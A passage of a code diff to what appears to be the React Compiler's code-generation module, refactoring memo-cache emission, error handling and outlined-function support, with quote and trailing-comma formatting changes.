   id: t.Identifier | null;
-  params: t.FunctionDeclaration["params"];
+  nameHint: string | null;
+  params: t.FunctionDeclaration['params'];
   body: t.BlockStatement;
   generator: boolean;
   async: boolean;
@@ -85,17 +99,29 @@ export type CodegenFunction = {
    * because they were part of a pruned memo block.
    */
   prunedMemoValues: number;
+
+  outlined: Array<{
+    fn: CodegenFunction;
+    type: ReactFunctionType | null;
+  }>;
 };
 
 export function codegenFunction(
   fn: ReactiveFunction,
-  uniqueIdentifiers: Set<string>
-): Result<CodegenFunction, CompilerError> {
+  {
+    uniqueIdentifiers,
+    fbtOperands,
+  }: {
+    uniqueIdentifiers: Set<string>;
+    fbtOperands: Set<IdentifierId>;
+  },
+): CodegenFunction {
   const cx = new Context(
     fn.env,
-    fn.id ?? "[[ anonymous ]]",
+    fn.id ?? '[[ anonymous ]]',
     uniqueIdentifiers,
-    null
+    fbtOperands,
+    null,
   );
 
   /**
@@ -112,27 +138,24 @@ export function codegenFunction(
     fn.env.config.enableResetCacheOnSourceFileChanges &&
     fn.env.code !== null
   ) {
-    const hash = createHmac("sha256", fn.env.code).digest("hex");
+    const hash = createHmac('sha256', fn.env.code).digest('hex');
     fastRefreshState = {
       cacheIndex: cx.nextCacheIndex,
       hash,
     };
   }
 
-  const compileResult = codegenReactiveFunction(cx, fn);
-  if (compileResult.isErr()) {
-    return compileResult;
-  }
-  const compiled = compileResult.unwrap();
+  const compiled = codegenReactiveFunction(cx, fn);
 
   const hookGuard = fn.env.config.enableEmitHookGuards;
-  if (hookGuard != null) {
+  if (hookGuard != null && fn.env.outputMode === 'client') {
     compiled.body = t.blockStatement([
       createHookGuard(
         hookGuard,
+        fn.env.programContext,
         compiled.body.body,
         GuardKind.PushHookGuard,
-        GuardKind.PopHookGuard
+        GuardKind.PopHookGuard,
       ),
     ]);
   }
@@ -140,163 +163,202 @@ export function codegenFunction(
   const cacheCount = compiled.memoSlotsUsed;
   if (cacheCount !== 0) {
     const preface: Array<t.Statement> = [];
+    const useMemoCacheIdentifier =
+      fn.env.programContext.addMemoCacheImport().name;
 
     // The import declaration for `useMemoCache` is inserted in the Babel plugin
     preface.push(
-      t.variableDeclaration("const", [
+      t.variableDeclaration('const', [
         t.variableDeclarator(
-          t.identifier(cx.synthesizeName("$")),
-          t.callExpression(t.identifier(fn.env.useMemoCacheIdentifier), [
+          t.identifier(cx.synthesizeName('$')),
+          t.callExpression(t.identifier(useMemoCacheIdentifier), [
             t.numericLiteral(cacheCount),
-          ])
+          ]),
         ),
-      ])
+      ]),
     );
     if (fastRefreshState !== null) {
       // HMR detection is enabled, emit code to reset the memo cache on source changes
-      const index = cx.synthesizeName("$i");
+      const index = cx.synthesizeName('$i');
       preface.push(
         t.ifStatement(
           t.binaryExpression(
-            "!==",
+            '!==',
             t.memberExpression(
-              t.identifier(cx.synthesizeName("$")),
+              t.identifier(cx.synthesizeName('$')),
               t.numericLiteral(fastRefreshState.cacheIndex),
-              true
+              true,
             ),
-            t.stringLiteral(fastRefreshState.hash)
+            t.stringLiteral(fastRefreshState.hash),
           ),
           t.blockStatement([
             t.forStatement(
-              t.variableDeclaration("let", [
+              t.variableDeclaration('let', [
                 t.variableDeclarator(t.identifier(index), t.numericLiteral(0)),
               ]),
               t.binaryExpression(
-                "<",
+                '<',
                 t.identifier(index),
-                t.numericLiteral(cacheCount)
+                t.numericLiteral(cacheCount),
               ),
               t.assignmentExpression(
-                "+=",
+                '+=',
                 t.identifier(index),
-                t.numericLiteral(1)
+                t.numericLiteral(1),
               ),
               t.blockStatement([
                 t.expressionStatement(
                   t.assignmentExpression(
-                    "=",
+                    '=',
                     t.memberExpression(
-                      t.identifier(cx.synthesizeName("$")),
+                      t.identifier(cx.synthesizeName('$')),
                       t.identifier(index),
-                      true
+                      true,
                     ),
                     t.callExpression(
                       t.memberExpression(
-                        t.identifier("Symbol"),
-                        t.identifier("for")
+                        t.identifier('Symbol'),
+                        t.identifier('for'),
                       ),
-                      [t.stringLiteral(MEMO_CACHE_SENTINEL)]
-                    )
-                  )
+                      [t.stringLiteral(MEMO_CACHE_SENTINEL)],
+                    ),
+                  ),
                 ),
-              ])
+              ]),
             ),
             t.expressionStatement(
               t.assignmentExpression(
-                "=",
+                '=',
                 t.memberExpression(
-                  t.identifier(cx.synthesizeName("$")),
+                  t.identifier(cx.synthesizeName('$')),
                   t.numericLiteral(fastRefreshState.cacheIndex),
-                  true
+                  true,
                 ),
-                t.stringLiteral(fastRefreshState.hash)
-              )
+                t.stringLiteral(fastRefreshState.hash),
+              ),
             ),
-          ])
-        )
+          ]),
+        ),
       );
     }
     compiled.body.body.unshift(...preface);
   }
 
   const emitInstrumentForget = fn.env.config.enableEmitInstrumentForget;
-  if (emitInstrumentForget != null && fn.id != null) {
+  if (
+    emitInstrumentForget != null &&
+    fn.id != null &&
+    fn.env.outputMode === 'client'
+  ) {
     /*
      * Technically, this is a conditional hook call. However, we expect
      * __DEV__ and gating identifier to be runtime constants
      */
-    let gating: t.Expression;
-    if (
-      emitInstrumentForget.gating != null &&
+    const gating =
+      emitInstrumentForget.gating != null
+        ? t.identifier(
+            fn.env.programContext.addImportSpecifier(
+              emitInstrumentForget.gating,
+            ).name,
+          )
+        : null;
+
+    const globalGating =
       emitInstrumentForget.globalGating != null
-    ) {
-      gating = t.logicalExpression(
-        "&&",
-        t.identifier(emitInstrumentForget.globalGating),
-        t.identifier(emitInstrumentForget.gating.importSpecifierName)
+        ? t.identifier(emitInstrumentForget.globalGating)
+        : null;
+
+    if (emitInstrumentForget.globalGating != null) {
+      const assertResult = fn.env.programContext.assertGlobalBinding(
+        emitInstrumentForget.globalGating,
       );
-    } else if (emitInstrumentForget.gating != null) {
-      gating = t.identifier(emitInstrumentForget.gating.importSpecifierName);
+      if (assertResult.isErr()) {
+        fn.env.recordErrors(assertResult.unwrapErr());
+      }
+    }
+
+    let ifTest: t.Expression;
+    if (gating != null && globalGating != null) {
+      ifTest = t.logicalExpression('&&', globalGating, gating);
+    } else if (gating != null) {
+      ifTest = gating;
     } else {
-      CompilerError.invariant(emitInstrumentForget.globalGating != null, {
+      CompilerError.invariant(globalGating != null, {
         reason:
-          "Bad config not caught! Expected at least one of gating or globalGating",
-        loc: null,
-        suggestions: null,
+          'Bad config not caught! Expected at least one of gating or globalGating',
+        loc: GeneratedSource,
       });
-      gating = t.identifier(emitInstrumentForget.globalGating);
+      ifTest = globalGating;
     }
+
+    const instrumentFnIdentifier = fn.env.programContext.addImportSpecifier(
+      emitInstrumentForget.fn,
+    ).name;
     const test: t.IfStatement = t.ifStatement(
-      gating,
+      ifTest,
       t.expressionStatement(
-        t.callExpression(
-          t.identifier(emitInstrumentForget.fn.importSpecifierName),
-          [t.stringLiteral(fn.id), t.stringLiteral(fn.env.filename ?? "")]
-        )
-      )
+        t.callExpression(t.identifier(instrumentFnIdentifier), [
+          t.stringLiteral(fn.id),
+          t.stringLiteral(fn.env.filename ?? ''),
+        ]),
+      ),
     );
     compiled.body.body.unshift(test);
   }
 
-  return compileResult;
+  const outlined: CodegenFunction['outlined'] = [];
+  for (const {fn: outlinedFunction, type} of cx.env.getOutlinedFunctions()) {
+    const reactiveFunction = buildReactiveFunction(outlinedFunction);
+    pruneUnusedLabels(reactiveFunction);
+    pruneUnusedLValues(reactiveFunction);
+    pruneHoistedContexts(reactiveFunction);
+
+    const identifiers = renameVariables(reactiveFunction);
+    const codegen = codegenReactiveFunction(
+      new Context(
+        cx.env,
+        reactiveFunction.id ?? '[[ anonymous ]]',
+        identifiers,
+        cx.fbtOperands,
+      ),
+      reactiveFunction,
+    );
+    outlined.push({fn: codegen, type});
+  }
+  compiled.outlined = outlined;
+
+  return compiled;
 }
 
 function codegenReactiveFunction(
   cx: Context,
-  fn: ReactiveFunction
-): Result<CodegenFunction, CompilerError> {
+  fn: ReactiveFunction,
+): CodegenFunction {
   for (const param of fn.params) {
-    if (param.kind === "Identifier") {
-      cx.temp.set(param.identifier.id, null);
-    } else {
-      cx.temp.set(param.place.identifier.id, null);
-    }
+    const place = param.kind === 'Identifier' ? param : param.place;
+    cx.temp.set(place.identifier.declarationId, null);
+    cx.declare(place.identifier);
   }
 
-  const params = fn.params.map((param) => convertParameter(param));
+  const params = fn.params.map(param => convertParameter(param));
   const body: t.BlockStatement = codegenBlock(cx, fn.body);
-  body.directives = fn.directives.map((d) =>
-    t.directive(t.directiveLiteral(d))
-  );
+  body.directives = fn.directives.map(d => t.directive(t.directiveLiteral(d)));
   const statements = body.body;
   if (statements.length !== 0) {
     const last = statements[statements.length - 1];
-    if (last.type === "ReturnStatement" && last.argument == null) {
+    if (last.type === 'ReturnStatement' && last.argument == null) {
       statements.pop();
     }
   }
 
-  if (cx.errors.hasErrors()) {
-    return Err(cx.errors);
-  }
-
   const countMemoBlockVisitor = new CountMemoBlockVisitor(fn.env);
   visitReactiveFunction(fn, countMemoBlockVisitor, undefined);
 
-  return Ok({
-    type: "CodegenFunction",
+  return {
+    type: 'CodegenFunction',
     loc: fn.loc,
     id: fn.id !== null ? t.identifier(fn.id) : null,
+    nameHint: fn.nameHint,
     params,
     body,
     generator: fn.generator,
@@ -306,7 +368,8 @@ function codegenReactiveFunction(
     memoValues: countMemoBlockVisitor.memoValues,
     prunedMemoBlocks: countMemoBlockVisitor.prunedMemoBlocks,
     prunedMemoValues: countMemoBlockVisitor.prunedMemoValues,
-  });
+    outlined: [],
+  };
 }
 
 class CountMemoBlockVisitor extends ReactiveFunctionVisitor<void> {
@@ -329,7 +392,7 @@ class CountMemoBlockVisitor extends ReactiveFunctionVisitor<void> {
 
   override visitPrunedScope(
     scopeBlock: PrunedReactiveScopeBlock,
-    state: void
+    state: void,
   ): void {
     this.prunedMemoBlocks += 1;
     this.prunedMemoValues += scopeBlock.scope.declarations.size;
@@ -338,9 +401,9 @@ class CountMemoBlockVisitor extends ReactiveFunctionVisitor<void> {
 }
 
 function convertParameter(
-  param: Place | SpreadPattern
+  param: Place | SpreadPattern,
 ): t.Identifier | t.RestElement {
-  if (param.kind === "Identifier") {
+  if (param.kind === 'Identifier') {
     return convertIdentifier(param.identifier);
   } else {
     return t.restElement(convertIdentifier(param.place.identifier));
@@ -351,34 +414,45 @@ class Context {
   env: Environment;
   fnName: string;
   #nextCacheIndex: number = 0;
-  #declarations: Set<IdentifierId> = new Set();
+  /**
+   * Tracks which named variables have been declared to dedupe declarations,
+   * so this uses DeclarationId instead of IdentifierId
+   */
+  #declarations: Set<DeclarationId> = new Set();
   temp: Temporaries;
-  errors: CompilerError = new CompilerError();
   objectMethods: Map<IdentifierId, ObjectMethod> = new Map();
   uniqueIdentifiers: Set<string>;
+  fbtOperands: Set<IdentifierId>;
   synthesizedNames: Map<string, ValidIdentifierName> = new Map();
 
   constructor(
     env: Environment,
     fnName: string,
     uniqueIdentifiers: Set<string>,
-    temporaries: Temporaries | null = null
+    fbtOperands: Set<IdentifierId>,
+    temporaries: Temporaries | null = null,
   ) {
     this.env = env;
     this.fnName = fnName;
     this.uniqueIdentifiers = uniqueIdentifiers;
+    this.fbtOperands = fbtOperands;
     this.temp = temporaries !== null ? new Map(temporaries) : new Map();
   }
+
+  recordError(error: CompilerErrorDetail): void {
+    this.env.recordError(error);
+  }
+
   get nextCacheIndex(): number {
     return this.#nextCacheIndex++;
   }
 
   declare(identifier: Identifier): void {
-    this.#declarations.add(identifier.id);
+    this.#declarations.add(identifier.declarationId);
   }
 
   hasDeclared(identifier: Identifier): boolean {
-    return this.#declarations.has(identifier.id);
+    return this.#declarations.has(identifier.declarationId);
   }
 
   synthesizeName(name: string): ValidIdentifierName {
@@ -409,10 +483,8 @@ function codegenBlock(cx: Context, block: ReactiveBlock): t.BlockStatement {
       continue;
     }
     CompilerError.invariant(temp.get(key)! === value, {
-      loc: null,
-      reason: "Expected temporary value to be unchanged",
-      description: null,
-      suggestions: null,
+      reason: 'Expected temporary value to be unchanged',
+      loc: GeneratedSource,
     });
   }
   cx.temp = temp;
@@ -428,43 +500,46 @@ function codegenBlock(cx: Context, block: ReactiveBlock): t.BlockStatement {
  */
 function codegenBlockNoReset(
   cx: Context,
-  block: ReactiveBlock
+  block: ReactiveBlock,
 ): t.BlockStatement {
   const statements: Array<t.Statement> = [];
   for (const item of block) {
     switch (item.kind) {
-      case "instruction": {
+      case 'instruction': {
         const statement = codegenInstructionNullable(cx, item.instruction);
         if (statement !== null) {
           statements.push(statement);
         }
         break;
       }
-      case "pruned-scope": {
+      case 'pruned-scope': {
         const scopeBlock = codegenBlockNoReset(cx, item.instructions);
         statements.push(...scopeBlock.body);
         break;
       }
-      case "scope": {
+      case 'scope': {
         const temp = new Map(cx.temp);
         codegenReactiveScope(cx, statements, item.scope, item.instructions);
         cx.temp = temp;
         break;
       }
-      case "terminal": {
+      case 'terminal': {
         const statement = codegenTerminal(cx, item.terminal);
         if (statement === null) {
           break;
         }
         if (item.label !== null && !item.label.implicit) {
           const block =
-            statement.type === "BlockStatement" && statement.body.length === 1
+            statement.type === 'BlockStatement' && statement.body.length === 1
               ? statement.body[0]
               : statement;
           statements.push(
-            t.labeledStatement(t.identifier(codegenLabel(item.label.id)), block)
+            t.labeledStatement(
+              t.identifier(codegenLabel(item.label.id)),
+              block,
+            ),
           );
-        } else if (statement.type === "BlockStatement") {
+        } else if (statement.type === 'BlockStatement') {
           statements.push(...statement.body);
         } else {
           statements.push(statement);
@@ -474,7 +549,7 @@ function codegenBlockNoReset(
       default: {
         assertExhaustive(
           item,
-          `Unexpected item kind \`${(item as any).kind}\``
+          `Unexpected item kind \`${(item as any).kind}\``,
         );
       }
     }
@@ -482,27 +557,11 @@ function codegenBlockNoReset(
   return t.blockStatement(statements);
 }
 
-function wrapCacheDep(cx: Context, value: t.Expression): t.Expression {
-  if (cx.env.config.enableEmitFreeze != null) {
-    // The import declaration for emitFreeze is inserted in the Babel plugin
-    return t.conditionalExpression(
-      t.identifier("__DEV__"),
-      t.callExpression(
-        t.identifier(cx.env.config.enableEmitFreeze.importSpecifierName),
-        [value, t.stringLiteral(cx.fnName)]
-      ),
-      value
-    );
-  } else {
-    return value;
-  }
-}
-
 function codegenReactiveScope(
   cx: Context,
   statements: Array<t.Statement>,
   scope: ReactiveScope,
-  block: ReactiveBlock
+  block: ReactiveBlock,
 ): void {
   const cacheStoreStatements: Array<t.Statement> = [];
   const cacheLoadStatements: Array<t.Statement> = [];
@@ -512,32 +571,19 @@ function codegenReactiveScope(
     value: t.Expression;
   }> = [];
   const changeExpressions: Array<t.Expression> = [];
-  const changeExpressionComments: Array<string> = [];
-  const outputComments: Array<string> = [];
-  for (const dep of scope.dependencies) {
+
+  for (const dep of [...scope.dependencies].sort(compareScopeDependency)) {
     const index = cx.nextCacheIndex;
-    changeExpressionComments.push(printDependencyComment(dep));
     const comparison = t.binaryExpression(
-      "!==",
+      '!==',
       t.memberExpression(
-        t.identifier(cx.synthesizeName("$")),
+        t.identifier(cx.synthesizeName('$')),
         t.numericLiteral(index),
-        true
+        true,
       ),
-      codegenDependency(cx, dep)
+      codegenDependency(cx, dep),
     );
-
-    if (cx.env.config.enableChangeVariableCodegen) {
-      const changeIdentifier = t.identifier(cx.synthesizeName(`c_${index}`));
-      statements.push(
-        t.variableDeclaration("const", [
-          t.variableDeclarator(changeIdentifier, comparison),
-        ])
-      );
-      changeExpressions.push(changeIdentifier);
-    } else {
-      changeExpressions.push(comparison);
-    }
+    changeExpressions.push(comparison);
     /*
      * Adding directly to cacheStoreStatements rather than cacheLoads, because there
      * is no corresponding cacheLoadStatement for dependencies
@@ -545,19 +591,22 @@ function codegenReactiveScope(
     cacheStoreStatements.push(
       t.expressionStatement(
         t.assignmentExpression(
-          "=",
+          '=',
           t.memberExpression(
-            t.identifier(cx.synthesizeName("$")),
+            t.identifier(cx.synthesizeName('$')),
             t.numericLiteral(index),
-            true
+            true,
           ),
-          codegenDependency(cx, dep)
-        )
-      )
+          codegenDependency(cx, dep),
+        ),
+      ),
     );
   }
   let firstOutputIndex: number | null = null;
-  for (const [, { identifier }] of scope.declarations) {
+
+  for (const [, {identifier}] of [...scope.declarations].sort(([, a], [, b]) =>
+    compareScopeDeclaration(a, b),
+  )) {
     const index = cx.nextCacheIndex;
     if (firstOutputIndex === null) {
       firstOutputIndex = index;
@@ -565,19 +614,19 @@ function codegenReactiveScope(
 
     CompilerError.invariant(identifier.name != null, {
       reason: `Expected scope declaration identifier to be named`,
-      description: `Declaration \`${printIdentifier(identifier)}\` is unnamed in scope @${scope.id}`,
-      loc: null,
-      suggestions: null,
+      description: `Declaration \`${printIdentifier(
+        identifier,
+      )}\` is unnamed in scope @${scope.id}`,
+      loc: GeneratedSource,
     });
 
     const name = convertIdentifier(identifier);
-    outputComments.push(name.name);
     if (!cx.hasDeclared(identifier)) {
       statements.push(
-        t.variableDeclaration("let", [t.variableDeclarator(name)])
+        t.variableDeclaration('let', [createVariableDeclarator(name, null)]),
       );
     }
-    cacheLoads.push({ name, index, value: wrapCacheDep(cx, name) });
+    cacheLoads.push({name, index, value: name});
     cx.declare(identifier);
   }
   for (const reassignment of scope.reassignments) {
@@ -586,8 +635,7 @@ function codegenReactiveScope(
       firstOutputIndex = index;
     }
     const name = convertIdentifier(reassignment);
-    outputComments.push(name.name);
-    cacheLoads.push({ name, index, value: wrapCacheDep(cx, name) });
+    cacheLoads.push({name, index, value: name});
   }
 
   let testCondition = (changeExpressions as Array<t.Expression>).reduce(
@@ -595,351 +643,213 @@ function codegenReactiveScope(
       if (acc == null) {
         return ident;
       }
-      return t.logicalExpression("||", acc, ident);
+      return t.logicalExpression('||', acc, ident);
     },
-    null as t.Expression | null
+    null as t.Expression | null,
   );
   if (testCondition === null) {
     CompilerError.invariant(firstOutputIndex !== null, {
       reason: `Expected scope to have at least one declaration`,
       description: `Scope '@${scope.id}' has no declarations`,
-      loc: null,
-      suggestions: null,
+      loc: GeneratedSource,
     });
     testCondition = t.binaryExpression(
-      "===",
+      '===',
       t.memberExpression(
-        t.identifier(cx.synthesizeName("$")),
+        t.identifier(cx.synthesizeName('$')),
         t.numericLiteral(firstOutputIndex),
-        true
+        true,
       ),
       t.callExpression(
-        t.memberExpression(t.identifier("Symbol"), t.identifier("for")),
-        [t.stringLiteral(MEMO_CACHE_SENTINEL)]
-      )
+        t.memberExpression(t.identifier('Symbol'), t.identifier('for')),
+        [t.stringLiteral(MEMO_CACHE_SENTINEL)],
+      ),
     );
   }
 
-  if (cx.env.config.disableMemoizationForDebugging) {
-    CompilerError.invariant(
-      cx.env.config.enableChangeDetectionForDebugging == null,
-      {
-        reason: `Expected to not have both change detection enabled and memoization disabled`,
-        description: `Incompatible config options`,
-        loc: null,
-      }
-    );
-    testCondition = t.logicalExpression(
-      "||",
-      testCondition,
-      t.booleanLiteral(true)
-    );
-  }
   let computationBlock = codegenBlock(cx, block);
 
   let memoStatement;
-  if (
-    cx.env.config.enableChangeDetectionForDebugging != null &&
-    changeExpressions.length > 0
-  ) {
-    const loc =
-      typeof scope.loc === "symbol"
-        ? "unknown location"
-        : `(${scope.loc.start.line}:${scope.loc.end.line})`;
-    const detectionFunction =
-      cx.env.config.enableChangeDetectionForDebugging.importSpecifierName;
-    const cacheLoadOldValueStatements: Array<t.Statement> = [];
-    const changeDetectionStatements: Array<t.Statement> = [];
-    const idempotenceDetectionStatements: Array<t.Statement> = [];
-
-    for (const { name, index, value } of cacheLoads) {
-      const loadName = cx.synthesizeName(`old$${name.name}`);
-      const slot = t.memberExpression(
-        t.identifier(cx.synthesizeName("$")),
-        t.numericLiteral(index),
-        true
-      );
-      cacheStoreStatements.push(
-        t.expressionStatement(t.assignmentExpression("=", slot, value))
-      );
-      cacheLoadOldValueStatements.push(
-        t.variableDeclaration("let", [
-          t.variableDeclarator(t.identifier(loadName), slot),
-        ])
-      );
-      changeDetectionStatements.push(
-        t.expressionStatement(
-          t.callExpression(t.identifier(detectionFunction), [
-            t.identifier(loadName),
-            name,
-            t.stringLiteral(name.name),
-            t.stringLiteral(cx.fnName),
-            t.stringLiteral("cached"),
-            t.stringLiteral(loc),
-          ])
-        )
-      );
-      idempotenceDetectionStatements.push(
-        t.expressionStatement(
-          t.callExpression(t.identifier(detectionFunction), [
-            slot,
-            name,
-            t.stringLiteral(name.name),
-            t.stringLiteral(cx.fnName),
-            t.stringLiteral("recomputed"),
-            t.stringLiteral(loc),
-          ])
-        )
-      );
-      idempotenceDetectionStatements.push(
-        t.expressionStatement(t.assignmentExpression("=", name, slot))
-      );
-    }
-    const condition = cx.synthesizeName("condition");
-    memoStatement = t.blockStatement([
-      ...computationBlock.body,
-      t.variableDeclaration("let", [
-        t.variableDeclarator(t.identifier(condition), testCondition),
-      ]),
-      t.ifStatement(
-        t.unaryExpression("!", t.identifier(condition)),
-        t.blockStatement([
-          ...cacheLoadOldValueStatements,
-          ...changeDetectionStatements,
-        ])
+  for (const {name, index, value} of cacheLoads) {
+    cacheStoreStatements.push(
+      t.expressionStatement(
+        t.assignmentExpression(
+          '=',
+          t.memberExpression(
+            t.identifier(cx.synthesizeName('$')),
+            t.numericLiteral(index),
+            true,
+          ),
+          value,
+        ),
       ),
-      ...cacheStoreStatements,
-      t.ifStatement(
-        t.identifier(condition),
-        t.blockStatement([
-          ...computationBlock.body,
-          ...idempotenceDetectionStatements,
-        ])
+    );
+    cacheLoadStatements.push(
+      t.expressionStatement(
+        t.assignmentExpression(
+          '=',
+          name,
+          t.memberExpression(
+            t.identifier(cx.synthesizeName('$')),
+            t.numericLiteral(index),
+            true,
+          ),
+        ),
       ),
-    ]);
-  } else {
-    for (const { name, index, value } of cacheLoads) {
-      cacheStoreStatements.push(
-        t.expressionStatement(
-          t.assignmentExpression(
-            "=",
-            t.memberExpression(
-              t.identifier(cx.synthesizeName("$")),
-              t.numericLiteral(index),
-              true
-            ),
-            value
-          )
-        )
-      );
-      cacheLoadStatements.push(
-        t.expressionStatement(
-          t.assignmentExpression(
-            "=",
-            name,
-            t.memberExpression(
-              t.identifier(cx.synthesizeName("$")),
-              t.numericLiteral(index),
-              true
-            )
-          )
-        )
-      );
-    }
-    computationBlock.body.push(...cacheStoreStatements);
-    memoStatement = t.ifStatement(
-      testCondition,
-      computationBlock,
-      t.blockStatement(cacheLoadStatements)
     );
   }
+  computationBlock.body.push(...cacheStoreStatements);
+  memoStatement = t.ifStatement(
+    testCondition,
+    computationBlock,
+    t.blockStatement(cacheLoadStatements),
+  );
 
-  if (cx.env.config.enableMemoizationComments) {
-    if (changeExpressionComments.length) {
-      t.addComment(
-        memoStatement,
-        "leading",
-        ` check if ${printDelimitedCommentList(
-          changeExpressionComments,
-          "or"
-        )} changed`,
-        true
-      );
-      t.addComment(
-        memoStatement,
-        "leading",
-        ` "useMemo" for ${printDelimitedCommentList(outputComments, "and")}:`,
-        true
-      );
-    } else {
-      t.addComment(
-        memoStatement,
-        "leading",
-        " cache value with no dependencies",
-        true
-      );
-      t.addComment(
-        memoStatement,
-        "leading",
-        ` "useMemo" for ${printDelimitedCommentList(outputComments, "and")}:`,
-        true
-      );
-    }
-    if (computationBlock.body.length > 0) {
-      t.addComment(
-        computationBlock.body[0]!,
-        "leading",
-        ` Inputs changed, recompute`,
-        true
-      );
-    }
-    if (cacheLoadStatements.length > 0) {
-      t.addComment(
-        cacheLoadStatements[0]!,
-        "leading",
-        ` Inputs did not change, use cached value`,
-        true
-      );
-    }
-  }
   statements.push(memoStatement);
 
   const earlyReturnValue = scope.earlyReturnValue;
   if (earlyReturnValue !== null) {
     CompilerError.invariant(
       earlyReturnValue.value.name !== null &&
-        earlyReturnValue.value.name.kind === "named",
+        earlyReturnValue.value.name.kind === 'named',
       {
         reason: `Expected early return value to be promoted to a named variable`,
         loc: earlyReturnValue.loc,
-        description: null,
-        suggestions: null,
-      }
+      },
     );
     const name: ValidIdentifierName = earlyReturnValue.value.name.value;
     statements.push(
       t.ifStatement(
         t.binaryExpression(
-          "!==",
+          '!==',
           t.identifier(name),
           t.callExpression(
-            t.memberExpression(t.identifier("Symbol"), t.identifier("for")),
-            [t.stringLiteral(EARLY_RETURN_SENTINEL)]
-          )
+            t.memberExpression(t.identifier('Symbol'), t.identifier('for')),
+            [t.stringLiteral(EARLY_RETURN_SENTINEL)],
+          ),
         ),
-        t.blockStatement([t.returnStatement(t.identifier(name))])
-      )
+        t.blockStatement([t.returnStatement(t.identifier(name))]),
+      ),
     );
   }
 }
 
 function codegenTerminal(
   cx: Context,
-  terminal: ReactiveTerminal
+  terminal: ReactiveTerminal,
 ): t.Statement | null {
   switch (terminal.kind) {
-    case "break": {
-      if (terminal.targetKind === "implicit") {
+    case 'break': {
+      if (terminal.targetKind === 'implicit') {
         return null;
       }
-      return t.breakStatement(
-        terminal.targetKind === "labeled"
+      return createBreakStatement(
+        terminal.loc,
+        terminal.targetKind === 'labeled'
           ? t.identifier(codegenLabel(terminal.target))
-          : null
+          : null,
       );
     }
-    case "continue": {
-      if (terminal.targetKind === "implicit") {
+    case 'continue': {
+      if (terminal.targetKind === 'implicit') {
         return null;
       }
-      return t.continueStatement(
-        terminal.targetKind === "labeled"
+      return createContinueStatement(
+        terminal.loc,
+        terminal.targetKind === 'labeled'
           ? t.identifier(codegenLabel(terminal.target))
-          : null
+          : null,
       );
     }
-    case "for": {
-      return t.forStatement(
+    case 'for': {
+      return createForStatement(
+        terminal.loc,
         codegenForInit(cx, terminal.init),
         codegenInstructionValueToExpression(cx, terminal.test),
         terminal.update !== null
           ? codegenInstructionValueToExpression(cx, terminal.update)
           : null,
-        codegenBlock(cx, terminal.loop)
+        codegenBlock(cx, terminal.loop),
       );
     }
-    case "for-in": {
-      CompilerError.invariant(terminal.init.kind === "SequenceExpression", {
+    case 'for-in': {
+      CompilerError.invariant(terminal.init.kind === 'SequenceExpression', {
         reason: `Expected a sequence expression init for for..in`,
         description: `Got \`${terminal.init.kind}\` expression instead`,
         loc: terminal.init.loc,
-        suggestions: null,
       });
       if (terminal.init.instructions.length !== 2) {
-        CompilerError.throwTodo({
-          reason: "Support non-trivial for..in inits",
-          description: null,
-          loc: terminal.init.loc,
-          suggestions: null,
-        });
+        cx.recordError(
+          new CompilerErrorDetail({
+            reason: 'Support non-trivial for..in inits',
+            category: ErrorCategory.Todo,
+            loc: terminal.init.loc,
+            suggestions: null,
+          }),
+        );
+        return t.emptyStatement();
       }
       const iterableCollection = terminal.init.instructions[0];
       const iterableItem = terminal.init.instructions[1];
       let lval: t.LVal;
       switch (iterableItem.value.kind) {
-        case "StoreLocal": {
+        case 'StoreLocal': {
           lval = codegenLValue(cx, iterableItem.value.lvalue.place);
           break;
         }
-        case "Destructure": {
+        case 'Destructure': {
           lval = codegenLValue(cx, iterableItem.value.lvalue.pattern);
           break;
         }
+        case 'StoreContext': {
+          cx.recordError(
+            new CompilerErrorDetail({
+              reason: 'Support non-trivial for..in inits',
+              category: ErrorCategory.Todo,
+              loc: terminal.init.loc,
+              suggestions: null,
+            }),
+          );
+          return t.emptyStatement();
+        }
         default:
           CompilerError.invariant(false, {
             reason: `Expected a StoreLocal or Destructure to be assigned to the collection`,
             description: `Found ${iterableItem.value.kind}`,
             loc: iterableItem.value.loc,
-            suggestions: null,
           });
       }
-      let varDeclKind: "const" | "let";
+      let varDeclKind: 'const' | 'let';
       switch (iterableItem.value.lvalue.kind) {
         case InstructionKind.Const:
-          varDeclKind = "const" as const;
+          varDeclKind = 'const' as const;
           break;
         case InstructionKind.Let:
-          varDeclKind = "let" as const;
+          varDeclKind = 'let' as const;
           break;
         case InstructionKind.Reassign:
           CompilerError.invariant(false, {
             reason:
-              "Destructure should never be Reassign as it would be an Object/ArrayPattern",
-            description: null,
+              'Destructure should never be Reassign as it would be an Object/ArrayPattern',
             loc: iterableItem.loc,
-            suggestions: null,
           });
         case InstructionKind.Catch:
-          CompilerError.invariant(false, {
-            reason: "Unexpected catch variable as for..in collection",
-            description: null,
-            loc: iterableItem.loc,
-            suggestions: null,
-          });
         case InstructionKind.HoistedConst:
+        case InstructionKind.HoistedLet:
+        case InstructionKind.HoistedFunction:
+        case InstructionKind.Function:
           CompilerError.invariant(false, {
-            reason: "Unexpected HoistedConst variable in for..in collection",
-            description: null,
+            reason: `Unexpected ${iterableItem.value.lvalue.kind} variable in for..in collection`,
             loc: iterableItem.loc,
-            suggestions: null,
           });
         default:
           assertExhaustive(
             iterableItem.value.lvalue.kind,
-            `Unhandled lvalue kind: ${iterableItem.value.lvalue.kind}`
+            `Unhandled lvalue kind: ${iterableItem.value.lvalue.kind}`,
           );
       }
-      return t.forInStatement(
+      return createForInStatement(
+        terminal.loc,
         /*
          * Special handling here since we only want the VariableDeclarators without any inits
          * This needs to be updated when we handle non-trivial ForOf inits
@@ -948,93 +858,93 @@ function codegenTerminal(
           t.variableDeclarator(lval, null),
         ]),
         codegenInstructionValueToExpression(cx, iterableCollection.value),
-        codegenBlock(cx, terminal.loop)
+        codegenBlock(cx, terminal.loop),
       );
     }
-    case "for-of": {
+    case 'for-of': {
       CompilerError.invariant(
-        terminal.init.kind === "SequenceExpression" &&
+        terminal.init.kind === 'SequenceExpression' &&
           terminal.init.instructions.length === 1 &&
-          terminal.init.instructions[0].value.kind === "GetIterator",
+          terminal.init.instructions[0].value.kind === 'GetIterator',
         {
           reason: `Expected a single-expression sequence expression init for for..of`,
           description: `Got \`${terminal.init.kind}\` expression instead`,
           loc: terminal.init.loc,
-          suggestions: null,
-        }
+        },
       );
       const iterableCollection = terminal.init.instructions[0].value;
 
-      CompilerError.invariant(terminal.test.kind === "SequenceExpression", {
+      CompilerError.invariant(terminal.test.kind === 'SequenceExpression', {
         reason: `Expected a sequence expression test for for..of`,
         description: `Got \`${terminal.init.kind}\` expression instead`,
         loc: terminal.test.loc,
-        suggestions: null,
